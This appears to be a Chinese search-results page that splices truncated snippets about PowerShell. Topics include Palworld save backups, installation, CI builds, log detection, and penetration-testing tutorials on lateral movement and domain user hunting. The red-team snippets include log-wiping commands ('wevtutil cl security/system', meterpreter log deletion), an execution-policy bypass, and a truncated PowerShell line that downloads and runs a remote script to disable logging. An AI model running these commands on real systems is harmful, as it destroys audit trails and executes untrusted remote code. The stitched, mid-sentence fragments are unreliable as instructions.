最初Windows PowerShell 是在 .NET Framework 基础之上构建而成(强大的面向对象的脚本)，仅适用于 Windows 系统。....zip 在安装过程中创建注册表项: 描述: 从 PowerShell 7.1 开始，MSI 包将创建用于存储 PowerShell 安装位置和版本的注册表项。...还应在没有 sudo 或本地管理权限的情况下能够运行 Docker。...独立的安装路径和可执行文件名 独立的 PSModulePath 每个版本的独立配置文件 提升了模块兼容性 新增了远程处理终结点 组策略支持 独立的事件日志 操作步骤: Step 1.独立的安装路径和可执行文件名...在 PowerShell 7 中，配置文件的位置路径发生了更改。
快捷键Win+R是指键盘：先按住Windows徽标键+再按R键，弹出运行对话框即可松开在弹出的运行对话框内输入：mstsc 即可打开电脑自带远程桌面连接工具在弹出的远程桌面连接工具内输入服务器厂商提供的...幻兽帕鲁旧档所在位置一、本地4人联机存档路径：进入游戏界面—>点击开始游戏—>左下角有个文件夹标识—>点开即是您4人存档文件所在位置C:\用户\AppData(此文件某些人电脑默认隐藏，点击上方查看-打开隐藏项目...\SaveGames幻兽帕鲁新档所在位置一、本地4人联机存档路径：进入游戏界面—>点击开始游戏—>左下角有个文件夹标识—>点开即是您4人存档文件所在位置C:\用户\AppData(此文件某些人电脑默认隐藏...\PalServer\Pal\Saved\SaveGames本地单人\4人房转云服务器切记：优先备份存档1.首先安装Python 3.12打开电脑自带Microsoft Store或去官方下载Python...，这里以win自带介绍搜索python 点击python 3.12下载下载根据网络问题有快有慢，等待即可下载完成后 需确认是否安装成功：Win+R唤出运行窗口，然后 powershell 回车在PowerShell
横向移动是从一个受感染的宿主移动到另一个宿主的过程。渗透测试人员和红队人员通常通过执行 powershell.exe 在远程主机上运行 base64 编码命令来完成此操作，这将返回一个信标。...横向移动的困难在于具有良好的操作安全性 (OpSec)，这意味着生成尽可能少的日志，或者生成看起来正常的日志，即隐藏在视线范围内以避免被发现。...它首先创建一个 PowerShell 脚本，该脚本将对嵌入式有效负载进行 base64 编码，该有效负载从内存运行并压缩为单线，连接到 ADMIN$ 或 C$ 共享并运行 PowerShell 命令，如下所示...通过在端口 135 上使用远程过程调用 (RPC) 进行远程访问（以及稍后的临时端口）进行通信，它允许系统管理员远程执行自动化管理任务，例如远程启动服务或执行命令。...从攻击者的角度来看，这用于编译 C# 代码以生成恶意二进制文件或有效负载，甚至直接从 XML 文件运行有效负载。
之后，将前一步从COS上下载的Saved文件夹复制到这里。 4.6 重新启动游戏进程。通过开始菜单或搜索框内打开powershell，运行下面的命令，重启游戏。...3.4 保存后，右键文件，使用Powershell运行。 3.5 看到 powershell 窗口弹出，闪过下面的运行画面，就说明执行成功了。...在【程序或脚本】中输入 PowerShell，添加参数输入：-File 备份脚本（palbackup-win.ps1）所在的路径路径。 4. 完成以上设置，点击确认，创建定时任务。 5....之后，将前一步从COS上下载的Saved文件夹复制到这里。 5.6 重新启动游戏进程。通过开始菜单或搜索框内打开powershell，运行下面的命令，重启游戏。...之后，将前一步从COS上下载的Saved文件夹复制到这里。 4.6 重新启动游戏进程。通过开始菜单或搜索框内打开powershell，运行下面的命令，重启游戏。
服务器间的存档迁移，也可以参考本指南，免去手动拷贝数据，直接使用云端数据同步到本地进行恢复。...之后，将前一步从轻量COS上下载的Saved文件夹复制到这里。4.6 重新启动游戏进程。通过开始菜单或搜索框内打开powershell，运行下面的命令，重启游戏。...3.4 保存后，右键文件，使用Powershell运行。3.5 看到 powershell 窗口弹出，闪过下面的运行画面，就说明执行成功了。...在【程序或脚本】中输入 PowerShell，添加参数输入：-File 备份脚本（palbackup-win.ps1）所在的路径路径。4. 完成以上设置，点击确认，创建定时任务。5. ...之后，将前一步从轻量COS上下载的Saved文件夹复制到这里。5.6 重新启动游戏进程。通过开始菜单或搜索框内打开powershell，运行下面的命令，重启游戏。
本文首发绿盟科技技术博客 0x00 简介 PowerShell一直是网络攻防对抗中关注的热点技术，其具备的无文件特性、LotL特性以及良好的易用性使其广泛使用于各类攻击场景。...极易混淆编码，PowerShell具备脚本类语言的特点，灵活多变，很容易配合多种混淆方法，对抗传统检测工具 良好的功能及适应性，满足多种攻击场景的需求：PowerShell内置远程管理机制，可用于远程命令执行...防御角度（蓝队视角）： 在执行任何PowerShell命令或脚本时，无论是本地还是通过远程处理，Windows都可以将事件写入以下三个日志文件： • Windows PowerShell.evtx •...Windows PowerShell.evtx 每次在PowerShell执行单个命令时，不管是本地会话还是远程会话都会产生以下日志： • 事件ID 400：引擎状态从无更改为可用，记录任何本地或远程PowerShell...但是，通过使用这些事件，分析人员可以确定PowerShell会话的持续时间，以及它是在本地运行还是通过远程运行。
PowerShell一直是网络攻防对抗中关注的热点技术，其具备的无文件特性、LotL特性以及良好的易用性使其广泛使用于各类攻击场景。...PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作，然而，这些特性被攻击者理解并转化为攻击特性（见下），也成为了攻击者手中的利器，给企业网络造成威胁。...• 极易混淆编码，PowerShell具备脚本类语言的特点，灵活多变，很容易配合多种混淆方法，对抗传统检测工具 • 良好的功能及适应性，满足多种攻击场景的需求：PowerShell内置远程管理机制，可用于远程命令执行...每次在PowerShell执行时，不管是本地会话还是远程会话都会产生以下日志： • 事件ID 400：引擎状态从无更改为可用，记录任何本地或远程PowerShell活动的开始； • 事件ID 600：...但是，通过使用这些事件，分析人员可以确定PowerShell会话的持续时间，以及它是在本地运行还是通过远程运行。 ?
之后，将前一步从轻量COS上下载的Saved文件夹复制到这里。 4.6 重新启动游戏进程。通过开始菜单或搜索框内打开powershell，运行下面的命令，重启游戏。...3.4 保存后，右键文件，使用Powershell运行。 3.5 看到 powershell 窗口弹出，闪过下面的运行画面，就说明执行成功了。...在【程序或脚本】中输入 PowerShell，添加参数输入：-File 备份脚本（palbackup-win.ps1）所在的路径路径。 4. 完成以上设置，点击确认，创建定时任务。 5....右侧所选项可以管理定时任务，例如删除任务、编辑任务配置等。 5. 恢复备份 5.1 恢复备份前，先终止游戏进程。通过开始菜单或搜索框搜索打开任务管理器。...之后，将前一步从轻量COS上下载的Saved文件夹复制到这里。 5.6 重新启动游戏进程。通过开始菜单或搜索框内打开powershell，运行下面的命令，重启游戏。
Windows痕迹清除|内网渗透学习(十三) 在渗透测试过程中·Windows日志往往会记录系统上的敏感操作,如添加用户, 远程登录, 执行命令等, 攻击者通常会对Windows日志进行清除和绕过。...Windows日志 日志主要包括五个类别: 应用程序 安全 Setup 系统 转发 日志文件均存放在C:\Windows\System32\winevt\Logs, 在文件夹中上图的各个选项分别有一个日志文件...: 用于检索有关时间日志和发布者的信息, 安装和卸载事件清单, 运行查询, 导出, 存档, 清除日志 wevtutil cl security #清除安全日志 wevtutil cl system...clearrev是meterpreter提供的命令 查看时间日志 run event_manager -i 删除事件日志 run event_manager -c 停止日志记录 利用脚本让日志功能失效..., 无法记录日志 第一种方法就是通过powershell脚本工具直接将日志记录的进程给kill掉, 从而使得日志记录失效 powershell.exe "IEX(new-object system.net.webclient
PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作，然而，这些特性被攻击者理解并转化为攻击特性，也就成为了攻击者手中的攻城利器，给企业网络造成威胁。...PowerShell v3采用新的cmdlet让管理员能够更深入到系统进程中，这些进程可以制作成可执行的文件或脚本（script）。...一条cmdlet是一条轻量命令，Windows PowerShell运行时间在自动化脚本的环境里调用它。...作为PowerShell 7的一部分，Microsoft在之前的日志记录基础上，增加了一种安全使用本地或远程存储中的凭据的方法，以便不需要将密码嵌入到脚本中。...Powershell日志说明 事件ID 关联 审计 笔记 400 403 始终记录，无论记录设置如何 引擎状态从无更改为可用，记录任何本地或远程PowerShell活动的开始； 403 400 始终记录
许多分析师忽略了windows事件日志或不知道在哪里搜索可疑的活动，他们大多不知道什么事件日志收集的情况下，攻击.我作为安全专家在SOC环境中的工作，我们提供威胁狩猎，事件响应和取证调查给我们的客户。...powershell脚本即可。...Powershell [T1543]检测操作Windows服务的Sc.exe [T1059]检测wscript或cscript运行脚本 [T1218.005]检测到系统中正在运行的Mshta [T1053...远程计算机进行检测 使用安全日志使用Net命令检测用户创建 使用安全日志检测在可疑位置运行的进程 使用安全日志使用令牌提升检测特权提升 使用安全日志检测可运行的可执行文件 使用安全日志检测可疑的Powershell...使用安全日志检测从全局组中删除的用户 使用安全日志检测从通用组中删除的用户 使用安全日志检测从本地组中删除的用户 使用安全日志检测从全局组中删除的用户 检测使用安全日志删除的用户帐户 检测到的审计日志已清除
---- (3) Perflogs 它是Windows系统的日志信息，如磁盘扫描错误信息、测试信息等，该目录不建议删除，删除反而会重新生成并降低系统速度。...(4) ProgramData C盘的一个系统文件夹（隐藏），它是公用的被创建文件夹或文件存放的地方，由创建者完整控制，程序运行或启动生成的临时文件通常存放该目录，电脑病毒也比较喜欢感染该目录。...在这个根键中保存了本地计算机硬件配置数据，此根键下的子关键字包括在SYSTEM.DAT中，用来提供HKEY_LOCAL_MACHINE所需的信息，或者在远程计算机中可访问的一组键中。...所以，安全防火墙和日志是非常重要的安全保护数段。 net share：查看本地开启的共享。...attrib 文件名 -A -R -S -H 或 +A +R +S +H：去掉或添加某文件的存档，只读、系统、隐藏属性；用+则是添加为某属性。
如何使用APT-Hunter 要做的第一件事是收集日志，使用powershell日志收集器可以轻松地自动收集所需的日志，而您只需以管理员身份运行powershell脚本即可。...运行脚本 [T1218.005]检测到系统中正在运行的Mshta [T1053]检测计划任务操作 [T1047]使用WMI远程运行命令 [T1082]系统信息发现 [T1117]使用Regsvr32绕过应用程序白名单...远程处理中使用WinRM启动检测连接 使用WinRM启动连接以对Powershell远程计算机进行检测 使用安全日志使用Net命令检测用户创建 使用安全日志检测在可疑位置运行的进程 使用安全日志使用令牌提升检测特权提升...使用安全日志检测可运行的可执行文件 使用安全日志检测可疑的Powershell命令 使用安全日志检测通过管理界面创建的用户 使用安全日志检测Windows关闭事件 使用安全日志检测添加到本地组的用户...使用安全日志检测用户添加到全局组的用户 使用安全日志检测用户添加到通用组的用户 使用安全日志检测从全局组中删除的用户 使用安全日志检测从通用组中删除的用户 使用安全日志检测从本地组中删除的用户 使用安全日志检测从全局组中删除的用户
在 Linux 上，可选择使用基于源的包管理器（如用于 Ubuntu 的 apt-get 或用于 CentOS 的 yum），也可以选择使用包本身（即 DEB 或 RPM）。...在 Windows 上，使用 MSI 安装程序。 有关最新的稳定二进制文件，请参阅 .NET 下载。...使用安装程序脚本，可以在服务器的本地目录中安装 SDK，并能从安装位置运行工具，还可以在生成后进行清理（或让 CI 服务进行清理）。 这样，可以封装和隔离整个生成进程。...可以使用 PowerShell 或 bash 脚本安排 .NET 命令，也可以使用概述生成进程的项目文件。 业务流程部分详细介绍了这些选项。...创建执行手动 CI 生成服务器安装的脚本后，在开发计算机上使用它来生成本地代码以供测试。 确认此脚本可以在本地正常运行后，将它部署到 CI 生成服务器。
常规定位域管理员的方法 日志：指的是本地机器的管理员日志，可以使用脚本或wevtutil导出查看。...计算机，想要在内网中横向移动，需要知道域内用户登录的位置，是否是本地管理员，他的组，是否有权访问文件共亨等等。...psloggedon.exe 在Windows平台上使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户，原理是通过检查注册表的HKEY USERS项的key...-c 对找到的共享目录/文件的访问权限进行检查 Nmap的NSE脚本 如果存在域账号/本地账号，我们可以使用Nmap的smb-enum-session.nse脚本来获取远程机器的登录会话。...下的脚本 powerView脚本 本地调用 powershell.exe -exec bypass -command "&本地脚本路径；invoke-stealithuserhunter
渗透测试人员和红队通过通过执行powershell.exe在远程主机上面运行经过base64编码的命令来完成横向移动，然后返回到目标的会话。...横向移动的困难在于具有良好的操作安全性（OpSec），这意味着尽量少生成一些日志，或者生成的日志看上去是正常的，难以被防守方和和蓝队发现。目的不仅是展示技术，但要显示幕后情况以及与之相关的任何指标。...Powershell的脚本，该脚本对内存中运行的嵌入式的payloads 进行一个base64的编码，并将其压缩为单行代码，连接到ADMIN或者是C share并且运行Powershell命令。...问题是它会创建服务并运行base64编码的命令，这是不正常的，并且会引发各种警报并生成日志。 另外，发送的命令是通过命名管道发送的，该管道在CS中具有默认名称（可以更改）。...唯一需要注意的是，WebDAV在服务器上不起作用，因为默认情况下该服务在服务器操作系统上不存在。
它可以上传文件，删除文件，修剪旧备份以及从对象存储中下载文件。我们的其他脚本不是直接与对象存储API交互，而是使用此处定义的功能与远程资源进行交互。...将从本地文件系统中删除以前的备份文件，并删除任何早于days\_to\_keep中定义值的远程备份。 完成后保存并关闭文件。...创建download-day.sh脚本 最后，在/usr/local/bin目录中下载或创建脚本download-day.sh。此脚本可用于下载与特定日期关联的所有备份。...我们可以根据需要通过启用或禁用cron脚本轻松切换本地和远程备份。...因此，将加密密钥的副本保存在单独的位置非常重要，这样，如果数据库服务器出现故障或需要重建，您仍可以使用备份存档。
本教程适用于如下场景： 1、原本将幻兽帕鲁部署在自己本地的 Windows 电脑里，但自己只要一关机，帕鲁就会说拜拜，现在你想要把幻兽帕鲁搬到云上，让帕鲁24小时为自己打工； 2、当前的服务器用起来不爽...在弹出的弹窗中选择“其他云服务器” 在如图所示的输入框内，输入你想要迁移存档的服务器对应的公网IP，并点击【保存并连接】按钮。 在红框所示位置输入服务器登录密码，并点击【登录】按钮。...迁移指引 一、终止游戏进程（原服务器或本地电脑、新服务器各做一次） ⚠️注意：为了确保存档迁移的成功率，你需要同时在两个服务器内停止游戏的运行，可以通过开始菜单或在搜索框内运行命令"任务管理器"来打开任务管理器...\Pal 2、在开始菜单的搜索框内输入：远程桌面连接，点击最佳匹配选项，打开远程桌面连接的弹窗。...5、登录成功后的页面如下，你可以同时打开原服务器或本地电脑、接收存档服务器的文件资源管理器。
检查隐藏账号方法： CMD命令行使用”net user”,看不到”test$”这个账号，但在控制面板和本地用户和组是可以显示此用户的。 检查克隆账号方法： 打开注册表 ，查看管理员对应键值。...任务管理器—选择对应进程—右键打开文件位置 运行输入 wmic，cmd界面 输入 process 04、检查启动项 （1）检查服务器是否有异常的启动项。...b、单击开始菜单 >【运行】，输入 msconfig，查看是否存在命名异常的启动项目，是则取消勾选命名异常的启动项目，并到命令中显示的路径删除文件。...，如有请删除，并建议安装杀毒软件进行病毒查杀，清除残留病毒或木马。...d、回收站、浏览器下载目录、浏览器历史记录 e、修改时间在创建时间之前的为可疑文件 （2）发现一个WEBSHELL或远控木马的创建时间，如何找出同一时间范围内创建的文件？
如果你想要将游戏存档快速备份至本地电脑，或手动备份游戏存档，那么可以参考接下来的教程进行操作。...一键备份游戏存档至本地电脑 一键备份游戏存档的操作步骤适用于 Windows 和 Linux 操作系统。...图片 2、点击游戏配置面板中的【导出存档】按钮，在弹出的“导出存档”弹窗中点击【快速导出】按钮，即可将游戏存档文件导出至本地电脑进行备份。 请妥善保管好你导出的游戏存档，以备不时之需。...图片 5、进入 PowerShell 运行如下命令，即可重新启动游戏。 点击Windows开始按钮，然后在搜索框中输入"PowerShell"。...图片 6、进入 PowerShell 运行如下命令，重新启动游戏。 点击Windows开始按钮，然后在搜索框中输入"PowerShell"。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
云直播
